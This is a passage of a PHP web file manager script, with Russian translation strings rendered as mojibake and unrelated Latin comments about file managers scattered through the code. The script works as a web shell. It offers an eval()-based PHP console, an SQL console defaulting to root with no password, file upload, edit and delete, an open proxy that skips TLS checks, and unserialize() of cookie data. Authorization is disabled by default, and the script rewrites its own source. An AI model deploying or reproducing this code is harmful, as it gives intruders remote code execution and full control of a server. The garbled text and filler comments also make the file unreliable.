файл?","Archiving":"Ð�рхивировать","Authorization":"Ð�вторизациÑ�","Back":"Ð�азад","Cancel":"Отмена","Chinese":"КитайÑ�кий","Compress":"Сжать","Console":"КонÑ�оль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"РаÑ�паковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Ð�нглийÑ�кий","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл Ñ�охранен","Filename":"ИмÑ� файла","Files uploaded":"Файл загружен","French":"ФранцузÑ�кий","Generation time":"ГенерациÑ� Ñ�траницы","German":"Ð�емецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Ð�аименование","New":"Ð�овое","New file":"Ð�овый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображениÑ�","Recursively":"РекурÑ�ивно","Rename":"Переименовать","Reset":"СброÑ�ить","Reset settings":"СброÑ�ить наÑ�тройки","Restore file time after editing":"ВоÑ�Ñ�танавливать времÑ� файла поÑ�ле редактированиÑ�","Result":"Результат","Rights":"Права","Russian":"РуÑ�Ñ�кий","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Ð�аÑ�тройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"ИÑ�панÑ�кий","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"УкраинÑ�кий","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Ð�айдено в файлах","Search":"ПоиÑ�к","Recursive search":"РекурÑ�ивный поиÑ�к","Mask":"МаÑ�ка"}'; // File Manager instrumentum utile est ad res in systemate computatorio ordinandas // Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum $auth_local = json_decode($authorization_Option,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // File Manager adhibetur ad fasciculos inter directorias movere $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_myfile' => true, 'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta 'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config; else $fms_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Multae versiones File Manager in systematibus operandi diversis exstant $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { // File Manager in versionibus recentibus variat inter GUI et CLI formas $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; // Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit function fm_del_fileSet($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fileSet($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Aliquam File Manager etiam permittit utentes cum serveris remotos operari. $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Usus File Manager fit potissimum per drag et drop actiones $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // File Manager etiam multis systematibus permittit accessum ad hidden files $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load fileSet function fm_download($archiveFileName) { if (!empty($archiveFileName)) { if (file_exists($archiveFileName)) { header("Content-Disposition: attachment; filename=" . basename($archiveFileName)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fileSetize($archiveFileName)); flush(); // this doesn't really matter. $fp = fopen($archiveFileName, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } // File Manager in multis casibus includit instrumenta ad compressiones fasciculorum function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fileSetize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+fileSetize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errorList=ini_get('display_errorList'); ini_set('display_errorList', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errorList', $display_errorList); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fms_config; return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']); } function fm_sql($query){ global $fms_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fileSetize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fms_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fms_config; $return = !empty($fms_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fileSet($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_fileSet($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fms_config = $_POST['fm_config']; setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_config'] = serialize($fms_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc_check = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMB